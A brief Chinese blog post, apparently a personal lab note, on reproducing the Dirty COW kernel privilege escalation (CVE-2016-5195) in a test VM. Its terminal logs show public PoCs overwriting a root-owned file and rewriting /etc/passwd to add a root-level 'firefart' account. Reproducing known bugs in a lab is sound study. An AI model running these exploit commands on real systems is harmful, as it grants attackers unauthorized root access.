复现dirtycow——CVE-2016-5195

    xiaoxiao2021-03-25  98

    又来复习了一下dirtycow,于是从我的U盘里载入了一个新的ubuntu-14.04-server,我想一定不要upgrade,不然就没有漏洞环境了。 然后我把ubuntu-14.04-server装好在我Mac里的VMWare之后,由于想要得到PoC的可执行文件,必须先用gcc对其进行编译,然而默认ubuntu最开始是没有gcc的,而且我想sudo apt-get install gcc也发现找不到包,,我突然蒙逼了。。。。然后最后网上搜答案才发现自己忘记sudo apt-get update了,导致出现了找不到gcc的错误(然后我不update,依然可以install vim…)。 复现过程如下:

    cqq@ubuntu:~/repos/dirtycow$ ls info.txt pokemon.c cqq@ubuntu:~/repos/dirtycow$ gcc -pthread pokemon.c -o pokemon cqq@ubuntu:~/repos/dirtycow$ ls info.txt pokemon pokemon.c cqq@ubuntu:~/repos/dirtycow$ ls -al info.txt ls: 初始化月份字符串出错 -rw-r--r-- 1 root root 9 3�� 10 20:45 info.txt cqq@ubuntu:~/repos/dirtycow$ cat info.txt i_am_cqq cqq@ubuntu:~/repos/dirtycow$ ./pokemon info.txt you_are_hacked info.txt (___) (o o)_____/ @@ ` \ \ ____, /you_are_hacked // // ^^ ^^ mmap 7f4f276dd000 madvise 0 ptrace 0 cqq@ubuntu:~/repos/dirtycow$ cat info.txt you_are_hcqq@ubuntu:~/repos/dirtycow$ cqq@ubuntu:~/repos/dirtycow$

    据说加入-pthread选项是为了

    可见编译选项中指定 -pthread 会附加一个宏定义 -D_REENTRANT ,该宏会导致 libc 头文件选择那些thread-safe的实现

    原来是这样 http://chaoslawful.iteye.com/blog/568602

    然后,当我sudo apt-get dist-upgrade之后,再运行PoC(这个PoC是可以直接修改root密码的!!!),则当前ssh连接断开!!!

    cqq@ubuntu:~$ vi /etc/passwd cqq@ubuntu:~$ cd ~/repos/dirty cqq@ubuntu:~/repos/dirty$ ./dirty mypasswd /etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: mypasswd Complete line: firefart:fii1PApS9Jm5Y:0:0:pwned:/root:/bin/bash mmap: 7f2c458dc000 packet_write_wait: Connection to 192.168.170.164 port 22: Broken pipe ➜ ~

    算了,下次再弄一个新的ubuntu来测试吧。先看看struts2的漏洞。

    转载请注明原文地址: https://ju.6miu.com/read-24605.html

    最新回复(0)